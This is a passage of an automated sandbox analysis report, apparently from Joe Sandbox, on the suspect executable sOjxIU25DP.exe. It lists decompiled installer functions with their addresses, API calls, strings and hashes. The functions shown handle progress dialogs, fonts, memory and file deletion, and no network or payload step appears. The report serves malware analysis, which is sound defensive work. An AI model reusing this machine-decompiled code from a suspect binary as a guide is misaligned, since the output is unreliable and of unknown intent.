									__eax = __eax &  *(0x6f62309c + __edx * 4);
								}
								_push(__eax);
								goto L15;
							case 2:
								__eax = E6F621429(__edx,  *__eax,  *((intOrPtr*)(__eax + 4)), __edi);
								goto L16;
							case 3:
								__eax = lstrcpynA(__edi,  *__eax,  *0x6f62405c);
								goto L17;
							case 4:
								__ecx =  *0x6f62405c;
								__edx = __ecx - 1;
								__eax = WideCharToMultiByte(__ebx, __ebx,  *__eax, __ecx, __edi, __edx, __ebx, __ebx);
								__eax =  *0x6f62405c;
								 *((char*)(__eax + __edi - 1)) = __bl;
								goto L17;
							case 5:
								__ecx =  &_v80;
								_push(0x27);
								_push(__ecx);
								_push( *__eax);
								__imp__StringFromGUID2();
								__eax =  &_v92;
								__eax = WideCharToMultiByte(__ebx, __ebx,  &_v92,  &_v92, __edi,  *0x6f62405c, __ebx, __ebx);
								goto L17;
							case 6:
								_push( *__esi);
								L15:
								__eax = wsprintfA(__edi, 0x6f624000);
								L16:
								__esp = __esp + 0xc;
								goto L17;
						}
					}
					L17:
					_t30 =  *(_t48 + 0x14);
					if(_t30 != 0 && ( *_a4 != 2 ||  *((intOrPtr*)(_t48 - 4)) > 0)) {
						GlobalFree(_t30);
					}
					_t31 =  *((intOrPtr*)(_t48 + 0xc));
					if(_t31 != 0) {
						if(_t31 != 0xffffffff) {
							if(_t31 > 0) {
								E6F6212D1(_t31 - 1, _t44);
								goto L26;
							}
						} else {
							E6F621266(_t44);
							L26:
						}
					}
					_v88 = _v88 - 1;
					_t48 = _t48 - 0x20;
				} while (_v88 >= 0);
				return GlobalFree(_t44);
			}

0x6f6224e4
0x6f6224e6
0x6f6224f0
0x6f6224f6
0x6f622500
0x6f622504
0x6f622509
0x6f622509
0x6f622511
0x6f622518
0x6f62251e
0x00000000
0x6f622525
0x00000000
0x00000000
0x6f62252c
0x6f622530
0x6f622533
0x6f622537
0x6f62253e
0x6f622542
0x6f622548
0x6f62254a
0x6f62254c
0x6f62254c
0x6f622553
0x00000000
0x00000000
0x6f62255c
0x00000000
0x00000000
0x6f62256c
0x00000000
0x00000000
0x6f622598
0x6f6225a0
0x6f6225aa
0x6f6225ac
0x6f6225b1
0x00000000
0x00000000
0x6f622574
0x6f622578
0x6f62257a
0x6f62257b
0x6f62257d
0x6f62258d
0x6f622594
0x00000000
0x00000000
0x6f6225b7
0x6f6225b9
0x6f6225bf
0x6f6225c5
0x6f6225c5
0x00000000
0x00000000
0x6f62251e
0x6f6225c8
0x6f6225c8
0x6f6225cd
0x6f6225de
0x6f6225de
0x6f6225e4
0x6f6225e9
0x6f6225ee
0x6f6225fa
0x6f6225ff
0x00000000
0x6f622604
0x6f6225f0
0x6f6225f1
0x6f622605
0x6f622605
0x6f6225ee
0x6f622606
0x6f62260a
0x6f62260d
0x6f622625

APIs

Part of subcall function 6F621215: GlobalAlloc.KERNEL32(?,6F621233,?,6F6212CF,-6F62404B,6F6211AB,-000000A0), ref: 6F62121D

GlobalFree.KERNEL32(?), ref: 6F6225DE
GlobalFree.KERNEL32(00000000), ref: 6F622618

Memory Dump Source

Source File: 00000000.00000002.3354383937.000000006F621000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F620000, based on PE: true

Associated: 00000000.00000002.3354349276.000000006F620000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354423937.000000006F623000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354452930.000000006F625000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f620000_sOjxIU25DP.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 3e4e29c9f5ba59089d4e510aba8cba0817c143a4bb5622f2a6895f4c3ed521a7
Instruction ID: 33c4ec28b18b34c0dba413ecff7bcc8ce204485d272aaa733dd71281213d0e9f
Opcode Fuzzy Hash: 3e4e29c9f5ba59089d4e510aba8cba0817c143a4bb5622f2a6895f4c3ed521a7
Instruction Fuzzy Hash: D741E072118200EFEB018F64CD95C6A7BFAFB8A714B40866DF501A7250DF35A954DF71

Uniqueness

Uniqueness Score: -1.00%

Function 00402E52 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402E52(intOrPtr _a4) {
				char _v68;
				long _t6;
				struct HWND__* _t7;
				struct HWND__* _t15;

				if(_a4 != 0) {
					_t15 =  *0x41f904; // 0x0
					if(_t15 != 0) {
						_t15 = DestroyWindow(_t15);
					}
					 *0x41f904 = 0;
					return _t15;
				}
				__eflags =  *0x41f904; // 0x0
				if(__eflags != 0) {
					return E0040666D(0);
				}
				_t6 = GetTickCount();
				__eflags = _t6 -  *0x424750;
				if(_t6 >  *0x424750) {
					__eflags =  *0x424748;
					if( *0x424748 == 0) {
						_t7 = CreateDialogParamA( *0x424740, 0x6f, 0, E00402DBA, 0);
						 *0x41f904 = _t7;
						return ShowWindow(_t7, 5);
					}
					__eflags =  *0x424814 & 0x00000001;
					if(( *0x424814 & 0x00000001) != 0) {
						wsprintfA( &_v68, "... %d%%", E00402E36());
						return E0040534F(0,  &_v68);
					}
				}
				return _t6;
			}

0x00402e5e
0x00402e60
0x00402e67
0x00402e6a
0x00402e6a
0x00402e70
0x00000000
0x00402e70
0x00402e78
0x00402e7e
0x00000000
0x00402e81
0x00402e88
0x00402e8e
0x00402e94
0x00402e96
0x00402e9c
0x00402eda
0x00402ee3
0x00000000
0x00402ee8
0x00402e9e
0x00402ea5
0x00402eb6
0x00000000
0x00402ec4
0x00402ea5
0x00402ef0

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402E6A
GetTickCount.KERNEL32 ref: 00402E88
wsprintfA.USER32 ref: 00402EB6

Part of subcall function 0040534F: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000,?), ref: 00405388
Part of subcall function 0040534F: lstrlenA.KERNEL32(00402EC9,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000), ref: 00405398
Part of subcall function 0040534F: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00402EC9,00402EC9,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,00000000,00000000,00000000), ref: 004053AB
Part of subcall function 0040534F: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll), ref: 004053BD
Part of subcall function 0040534F: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004053E3
Part of subcall function 0040534F: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 004053FD
Part of subcall function 0040534F: SendMessageA.USER32(?,00001013,?,00000000), ref: 0040540B

CreateDialogParamA.USER32(0000006F,00000000,00402DBA,00000000), ref: 00402EDA
ShowWindow.USER32(00000000,00000005), ref: 00402EE8

Part of subcall function 00402E36: MulDiv.KERNEL32(00000000,?,00000BD0), ref: 00402E4B

Strings

... %d%%, xrefs: 00402EB0

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: a3189930ddf39b7cef5a7c5b8a502ecf7485ed185c4ed1eecb8a2fe52579174f
Instruction ID: 7a453c914e71352c87dd6fc4fa143b29ed4b83a6d55c3b122a6f25389f326a81
Opcode Fuzzy Hash: a3189930ddf39b7cef5a7c5b8a502ecf7485ed185c4ed1eecb8a2fe52579174f
Instruction Fuzzy Hash: 22018470582214E7CB61AB64EF0DAAF766CEB41745B14403BF801F21E0C7B95846CAEE

Uniqueness

Uniqueness Score: -1.00%

Function 00404BFF Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BFF(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
				if(_a8 == 0) {
					L4:
					_v56 = _t15;
					_v60 = 4;
					SendMessageA(_t28, 0x110c, 0,  &_v60);
					return _v24;
				}
				_t19 = GetMessagePos();
				_v16 = _t19 >> 0x10;
				_v20 = _t19;
				ScreenToClient(_t28,  &_v20);
				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
				if((_v12 & 0x00000066) != 0) {
					_t15 = _v8;
					goto L4;
				}
				return _t25 | 0xffffffff;
			}

0x00404c0d
0x00404c1a
0x00404c20
0x00404c5e
0x00404c5e
0x00404c6d
0x00404c74
0x00000000
0x00404c76
0x00404c22
0x00404c31
0x00404c39
0x00404c3c
0x00404c4e
0x00404c54
0x00404c5b
0x00000000
0x00404c5b
0x00000000

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 00404C1A
GetMessagePos.USER32 ref: 00404C22
ScreenToClient.USER32(?,?), ref: 00404C3C
SendMessageA.USER32(?,00001111,00000000,?), ref: 00404C4E
SendMessageA.USER32(?,0000110C,00000000,?), ref: 00404C74

Strings

f, xrefs: 00404C50

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: fae6ee4ef260730fd0e6baeb46c05ac4d0d99299cd6b7910a3b5b88b2e21feb9
Instruction ID: 8affecd5b479f1171f5654815cc51d63bffccf6ae5a63c5c4c29235a80b14989
Opcode Fuzzy Hash: fae6ee4ef260730fd0e6baeb46c05ac4d0d99299cd6b7910a3b5b88b2e21feb9
Instruction Fuzzy Hash: 34015E71900219BBEB00DBA4DD85FFFBBBCAF55711F10012BBA50B61D0D7B4A9418BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00401E35 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00401E35(intOrPtr __edx) {
				void* __esi;
				int _t9;
				signed char _t15;
				struct HFONT__* _t18;
				intOrPtr _t30;
				struct HDC__* _t31;
				void* _t33;
				void* _t35;

				_t30 = __edx;
				_t31 = GetDC( *(_t35 - 8));
				_t9 = E00402BAC(2);
				 *((intOrPtr*)(_t35 - 0x38)) = _t30;
				0x40b820->lfHeight =  ~(MulDiv(_t9, GetDeviceCaps(_t31, 0x5a), "true"));
				ReleaseDC( *(_t35 - 8), _t31);
				 *0x40b830 = E00402BAC(3);
				_t15 =  *((intOrPtr*)(_t35 - 0x18));
				 *((intOrPtr*)(_t35 - 0x38)) = _t30;
				 *0x40b837 = 1;
				 *0x40b834 = _t15 & 0x00000001;
				 *0x40b835 = _t15 & 0x00000002;
				 *0x40b836 = _t15 & 0x00000004;
				E004062BB(_t9, _t31, _t33, "Calibri",  *((intOrPtr*)(_t35 - 0x24)));
				_t18 = CreateFontIndirectA(0x40b820);
				_push(_t18);
				_push(_t33);
				E00406186();
				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t35 - 4));
				return 0;
			}

0x00401e35
0x00401e40
0x00401e42
0x00401e4f
0x00401e66
0x00401e6b
0x00401e78
0x00401e7d
0x00401e81
0x00401e8c
0x00401e93
0x00401ea5
0x00401eab
0x00401eb0
0x00401eba
0x00402620
0x00401569
0x004029a5
0x00402a5d
0x00402a69

APIs

GetDC.USER32(?), ref: 00401E38
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E52
MulDiv.KERNEL32(00000000,00000000), ref: 00401E5A
ReleaseDC.USER32(?,00000000), ref: 00401E6B
CreateFontIndirectA.GDI32(0040B820), ref: 00401EBA

Strings

Calibri, xrefs: 00401EA0

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 1b57c7d8af9a04694ecc794f9d8bb0b52c94920fa886ef5e4d5bc046526f6c23
Instruction ID: 5097186ed897f0bb8f2c49de76e9dd96fe00b68d7cb2a8ba7479d5b6a1f75869
Opcode Fuzzy Hash: 1b57c7d8af9a04694ecc794f9d8bb0b52c94920fa886ef5e4d5bc046526f6c23
Instruction Fuzzy Hash: 18014072504344AEE7017BA4AE89B9A7FF8E755701F10547AF141B61F2CB790445CB6C

Uniqueness

Uniqueness Score: -1.00%

Function 00402DBA Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402DBA(struct HWND__* _a4, intOrPtr _a8) {
				char _v68;
				void* _t11;
				CHAR* _t19;

				if(_a8 == 0x110) {
					SetTimer(_a4, 1, 0xfa, 0);
					_a8 = 0x113;
				}
				if(_a8 == 0x113) {
					_t11 = E00402E36();
					_t19 = "unpacking data: %d%%";
					if( *0x424754 == 0) {
						_t19 = "verifying installer: %d%%";
					}
					wsprintfA( &_v68, _t19, _t11);
					SetWindowTextA(_a4,  &_v68);
					SetDlgItemTextA(_a4, 0x406,  &_v68);
				}
				return 0;
			}

0x00402dc7
0x00402dd5
0x00402ddb
0x00402ddb
0x00402de9
0x00402deb
0x00402df7
0x00402dfc
0x00402dfe
0x00402dfe
0x00402e09
0x00402e19
0x00402e2b
0x00402e2b
0x00402e33

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402DD5
wsprintfA.USER32 ref: 00402E09
SetWindowTextA.USER32(?,?), ref: 00402E19
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402E2B

Strings

unpacking data: %d%%, xrefs: 00402DF7, 00402E07
verifying installer: %d%%, xrefs: 00402DFE

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 682236bfa9d44e469b32297ddf894a90f4f99da74b05dcaaf7480c0445501217
Instruction ID: 5924424b8475f9adf48b5715c1e1f77af8692632bd00ddb5f136e7bd4fbbb8aa
Opcode Fuzzy Hash: 682236bfa9d44e469b32297ddf894a90f4f99da74b05dcaaf7480c0445501217
Instruction Fuzzy Hash: 36F01D7154020DFBEF20AF60DE0ABAE3769EB54345F00803AFA16B51D0DBB899558B99

Uniqueness

Uniqueness Score: -1.00%

Function 6F6222F1 Relevance: 9.1, APIs: 6, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6F6222F1(void* __edx, intOrPtr _a4) {
				signed int _v4;
				signed int _v8;
				void* _t38;
				signed int _t39;
				void* _t40;
				void* _t43;
				void* _t48;
				signed int* _t50;
				signed char* _t51;

				_v8 = 0 |  *((intOrPtr*)(_a4 + 0x814)) > 0x00000000;
				while(1) {
					_t9 = _a4 + 0x818; // 0x818
					_t51 = (_v8 << 5) + _t9;
					_t38 = _t51[0x18];
					if(_t38 == 0) {
						goto L9;
					}
					_t48 = 0x1a;
					if(_t38 == _t48) {
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						if(_t38 <= 0 || _t38 > 0x19) {
							_t51[0x18] = _t48;
						} else {
							_t38 = E6F6212AD(_t38 - 1);
							L10:
						}
						goto L11;
					} else {
						_t38 = E6F62123B();
						L11:
						_t43 = _t38;
						_t13 =  &(_t51[8]); // 0x820
						_t50 = _t13;
						if(_t51[4] >= 0) {
						}
						_t39 =  *_t51 & 0x000000ff;
						_t51[0x1c] = _t51[0x1c] & 0x00000000;
						_v4 = _t39;
						if(_t39 > 7) {
							L27:
							_t40 = GlobalFree(_t43);
							if(_v8 == 0) {
								return _t40;
							}
							if(_v8 !=  *((intOrPtr*)(_a4 + 0x814))) {
								_v8 = _v8 + 1;
							} else {
								_v8 = _v8 & 0x00000000;
							}
							continue;
						} else {
							switch( *((intOrPtr*)(_t39 * 4 +  &M6F62247E))) {
								case 0:
									 *_t50 =  *_t50 & 0x00000000;
									goto L27;
								case 1:
									__eax = E6F6212FE(__ebx);
									goto L20;
								case 2:
									 *__ebp = E6F6212FE(__ebx);
									_a4 = __edx;
									goto L27;
								case 3:
									__eax = E6F621224(__ebx);
									 *(__esi + 0x1c) = __eax;
									L20:
									 *__ebp = __eax;
									goto L27;
								case 4:
									 *0x6f62405c =  *0x6f62405c +  *0x6f62405c;
									__edi = GlobalAlloc("true",  *0x6f62405c +  *0x6f62405c);
									 *0x6f62405c = MultiByteToWideChar(0, 0, __ebx,  *0x6f62405c, __edi,  *0x6f62405c);
									if(_v4 != 5) {
										 *(__esi + 0x1c) = __edi;
										 *__ebp = __edi;
									} else {
										__eax = GlobalAlloc("true", "true");
										_push(__eax);
										 *(__esi + 0x1c) = __eax;
										_push(__edi);
										 *__ebp = __eax;
										__imp__CLSIDFromString();
										__eax = GlobalFree(__edi);
									}
									goto L27;
								case 5:
									if( *__ebx != 0) {
										__eax = E6F6212FE(__ebx);
										 *__edi = __eax;
									}
									goto L27;
								case 6:
									__esi =  *(__esi + 0x18);
									__esi = __esi - 1;
									__esi = __esi *  *0x6f62405c;
									__esi = __esi +  *0x6f624064;
									__eax = __esi + 0xc;
									 *__edi = __esi + 0xc;
									asm("cdq");
									__eax = E6F621429(__edx, __esi + 0xc, __edx, __esi);
									goto L27;
							}
						}
					}
					L9:
					_t38 = E6F621224(0x6f624034);
					goto L10;
				}
			}

0x6f622306
0x6f62230a
0x6f622315
0x6f622315
0x6f62231c
0x6f622321
0x00000000
0x00000000
0x6f622325
0x6f622328
0x00000000
0x00000000
0x6f62232d
0x6f622338
0x6f622348
0x6f62233f
0x6f622341
0x6f622357
0x6f622357
0x00000000
0x6f62232f
0x6f62232f
0x6f622358
0x6f62235c
0x6f62235e
0x6f62235e
0x6f622361
0x6f622361
0x6f622369
0x6f62236c
0x6f622373
0x6f622377
0x6f622446
0x6f622447
0x6f622452
0x6f62247d
0x6f62247d
0x6f622462
0x6f62246e
0x6f622464
0x6f622464
0x6f622464
0x00000000
0x6f62237d
0x6f62237d
0x00000000
0x6f622384
0x00000000
0x00000000
0x6f62238d
0x00000000
0x00000000
0x6f62239b
0x6f62239e
0x00000000
0x00000000
0x6f6223a7
0x6f6223ac
0x6f6223af
0x6f6223b0
0x00000000
0x00000000
0x6f6223bd
0x6f6223c8
0x6f6223d7
0x6f6223e2
0x6f622405
0x6f622408
0x6f6223e4
0x6f6223e8
0x6f6223ee
0x6f6223ef
0x6f6223f2
0x6f6223f3
0x6f6223f6
0x6f6223fd
0x6f6223fd
0x00000000
0x00000000
0x6f622410
0x6f622413
0x6f62241f
0x6f622421
0x00000000
0x00000000
0x6f622424
0x6f622427
0x6f622428
0x6f62242f
0x6f622436
0x6f622439
0x6f62243b
0x6f62243e
0x00000000
0x00000000
0x6f62237d
0x6f622377
0x6f62234d
0x6f622352
0x00000000
0x6f622352

APIs

GlobalFree.KERNEL32(00000000), ref: 6F622447

Part of subcall function 6F621224: lstrcpynA.KERNEL32(00000000,?,6F6212CF,-6F62404B,6F6211AB,-000000A0), ref: 6F621234

GlobalAlloc.KERNEL32(?,?), ref: 6F6223C2
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 6F6223D7
GlobalAlloc.KERNEL32(?,?), ref: 6F6223E8
CLSIDFromString.OLE32(00000000,00000000), ref: 6F6223F6
GlobalFree.KERNEL32(00000000), ref: 6F6223FD

Memory Dump Source

Source File: 00000000.00000002.3354383937.000000006F621000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F620000, based on PE: true

Associated: 00000000.00000002.3354349276.000000006F620000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354423937.000000006F623000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3354452930.000000006F625000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f620000_sOjxIU25DP.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID:
API String ID: 3730416702-0
Opcode ID: 3ac9d53747e5eaed4b8adc637584c34f622310b6b29246d3765f3f5b902bdeca
Instruction ID: d5adc0f18671f4401e0d4bc007ef8330bb66abf70d575b9db24359a01007d9d2
Opcode Fuzzy Hash: 3ac9d53747e5eaed4b8adc637584c34f622310b6b29246d3765f3f5b902bdeca
Instruction Fuzzy Hash: D241CDB1518301EFE7108F28C984BAAB7F8FF41321F104A6AF855CA580DB70A594CF66

Uniqueness

Uniqueness Score: -1.00%

Function 0040280F Relevance: 9.1, APIs: 6, Instructions: 72
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040280F(void* __eax, void* __ebx) {
				void* __esi;
				intOrPtr _t23;
				void* _t28;
				void* _t32;
				void* _t34;

				_t28 = __ebx;
				_t23 = E00405DC1();
				 *((intOrPtr*)(_t34 + 8)) = _t23;
				if(_t23 != 0xffffffff) {
					__eax =  *0x424758;
					__esi = GlobalAlloc;
					 *(__ebp - 0x30) = __eax;
					__edi = __eax;
					if(__edi != __ebx) {
						E00403419(__ebx) = E00403403(__edi,  *(__ebp - 0x30));
						__esi = GlobalAlloc("true",  *(__ebp - 0x20));
						 *(__ebp - 0x38) = __esi;
						if(__esi != __ebx) {
							__eax = E00403192(__ecx,  *((intOrPtr*)(__ebp - 0x24)), __ebx, __esi,  *(__ebp - 0x20));
							while( *__esi != __bl) {
								__ecx =  *__esi;
								__eax =  *(__esi + 4);
								__esi = __esi + 8;
								__eax = __edi + __eax;
								 *(__ebp - 0x8c) = __ecx;
								__eax = E00405D7C(__eax, __esi, __ecx);
								__esi = __esi +  *(__ebp - 0x8c);
							}
							__eax = GlobalFree( *(__ebp - 0x38));
						}
						E00405E68( *(__ebp + 8), __edi,  *(__ebp - 0x30)) = GlobalFree(__edi);
						 *((intOrPtr*)(__ebp - 0xc)) = E00403192(__ecx, 0xffffffff,  *(__ebp + 8), __ebx, __ebx);
					}
					__eax = CloseHandle( *(__ebp + 8));
				}
				_t32 = 0xfffffff3;
				if( *((intOrPtr*)(_t34 - 0xc)) < _t28) {
					_t32 = 0xffffffef;
					DeleteFileA( *(_t34 - 0x78));
					 *((intOrPtr*)(_t34 - 4)) = 1;
				}
				_push(_t32);
				E00401423();
				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t34 - 4));
				return 0;
			}

0x0040280f
0x00402811
0x00402819
0x0040281c
0x00402822
0x00402827
0x00402830
0x00402835
0x00402839
0x00402845
0x00402851
0x00402855
0x00402858
0x00402862
0x00402887
0x00402869
0x0040286b
0x0040286e
0x00402872
0x00402876
0x0040287c
0x00402881
0x00402881
0x0040288e
0x0040288e
0x004028a1
0x004028b3
0x004028b3
0x004028b9
0x004028b9
0x004028c4
0x004028c5
0x004028c9
0x004028cd
0x004028d3
0x004028d3
0x004028da
0x004022dd
0x00402a5d
0x00402a69

APIs

Part of subcall function 00405DC1: GetFileAttributesA.KERNELBASE(00000003,00402F34,C:\Users\user\Desktop\sOjxIU25DP.exe,80000000,00000003), ref: 00405DC5
Part of subcall function 00405DC1: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405DE7

GlobalAlloc.KERNEL32(?,?), ref: 00402833
CloseHandle.KERNEL32(?), ref: 004028B9

Part of subcall function 00403419: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403117,?), ref: 00403427

GlobalAlloc.KERNEL32(?,?,00000000,?), ref: 0040284F
GlobalFree.KERNEL32(?), ref: 0040288E
GlobalFree.KERNEL32(00000000), ref: 004028A1

Part of subcall function 00403192: SetFilePointer.KERNELBASE(0040A130,00000000,00000000,00000000,00000000,?,?,0040313E,000000FF,00000000,00000000,0040A130,?), ref: 004031B7

DeleteFileA.KERNEL32(?), ref: 004028CD

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: File$Global$AllocFreePointer$AttributesCloseCreateDeleteHandle
String ID:
API String ID: 488507980-0
Opcode ID: 34ae064b4388af2c6150fc11022ed145f1c4675ed3ad31f943b34aa96bffefcb
Instruction ID: da2d9e5b4614b94763f117716a60f6160965e563350363f8e1a9862829b220b6
Opcode Fuzzy Hash: 34ae064b4388af2c6150fc11022ed145f1c4675ed3ad31f943b34aa96bffefcb
Instruction Fuzzy Hash: 27217C72800128BBDF116FA5CD48DAE7F79EF08364B14823AF554761E0C6394D519B98

Uniqueness

Uniqueness Score: -1.00%

